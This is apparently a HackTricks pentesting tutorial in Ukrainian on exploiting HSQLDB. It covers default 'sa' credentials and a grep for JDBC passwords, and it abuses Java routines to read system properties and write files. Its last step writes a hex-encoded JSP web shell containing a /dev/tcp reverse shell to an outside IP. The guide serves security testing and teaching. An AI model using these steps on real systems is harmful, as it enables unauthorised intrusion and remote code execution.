9001 - Pentesting HSQLDB
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
HSQLDB (HyperSQL DataBase) є провідною реляційною базою даних SQL, написаною на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам’яті та на диску, а також підтримує вбудовані та серверні режими.
Порт за замовчуванням: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Налаштування за замовчуванням
Зверніть увагу, що за замовчуванням ця служба, ймовірно, працює в пам’яті або прив’язана до localhost. Якщо ви її знайшли, ви, напевно, експлуатували іншу службу і намагаєтеся підвищити привілеї.
Налаштування за замовчуванням зазвичай є sa з порожнім паролем.
Якщо ви експлуатували іншу службу, шукайте можливі облікові дані, використовуючи
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Зверніть увагу на назву бази даних - вона знадобиться для підключення.
Збір інформації
Підключіться до екземпляра БД, завантаживши HSQLDB та витягнувши hsqldb/lib/hsqldb.jar. Запустіть GUI додаток (eww) за допомогою java -jar hsqldb.jar і підключіться до екземпляра, використовуючи виявлені/слабкі облікові дані.
Зверніть увагу, що URL підключення виглядатиме приблизно так для віддаленої системи: jdbc:hsqldb:hsql://ip/DBNAME.
Трюки
Рутини мови Java
Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи рутини мови Java. Зверніть увагу, що викликаний клас повинен бути в класpath програми.
JRT можуть бути функціями або процедурами. Функції можна викликати через SQL-інструкції, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою інструкції VALUES.
Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, викликану за допомогою інструкції CALL.
Читання властивостей системи Java
Створіть функцію:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Виконати функцію:
VALUES(getsystemproperty('user.name'))
Ви можете знайти список системних властивостей тут.
Запис вмісту у файл
Ви можете використовувати com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java гаджет, розташований у JDK (автоматично завантажується в класовий шлях програми), щоб записувати шестигранно закодовані елементи на диск через користувацьку процедуру. Зверніть увагу на максимальний розмір 1024 байти.
Створіть процедуру:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Виконати процедуру:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

